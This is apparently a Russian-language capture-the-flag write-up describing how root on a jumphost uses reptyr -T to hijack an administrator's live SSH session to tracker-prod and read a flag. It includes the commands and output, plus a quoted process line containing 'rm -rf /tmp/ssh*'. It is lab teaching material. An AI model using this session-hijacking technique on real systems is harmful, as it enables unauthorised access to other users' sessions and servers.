Тихий квиттинг
Категория: Infra / Linux. Идея: перехватить живую SSH-сессию администратора без использования ssh-agent, через инструмент reptyr.
Разведка на jumphost
После подключения к стенду попадаем на jumphost под root. Смотрим активные процессы:
ps aux # Интересные процессы: admin 45 sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash admin 47 ssh -l admin tracker-prod bash
В команде процесса 45 есть rm -rf /tmp/ssh* — первоначально возникла гипотеза, что админ использует ssh-agent forwarding. Однако проверка показала: каталогов /tmp/ssh-* нет, SSH_AUTH_SOCK отсутствует — agent forwarding не используется.
Перехват сессии через reptyr
reptyr — инструмент, который позволяет перепривязать уже запущенный процесс к нашему терминалу. Флаг -T перехватывает всю терминальную сессию, а не только отдельный процесс. Перехватываем SSH-сессию админа (процесс 47):
reptyr -T 47 # Мы оказываемся внутри сессии админа $ id uid=1001(admin) gid=1001(admin) groups=1001(admin) $ hostname tracker-prod
Теперь мы на целевой машине tracker-prod под пользователем admin. Получаем флаг:
$ ls flag.txt $ cat flag.txt
Вывод: живая SSH-сессия админа перехвачена через reptyr -T без использования ssh-agent. Ключ к успеху: root-права на jumphost и уже запущенный SSH-процесс админа, который можно перепривязать.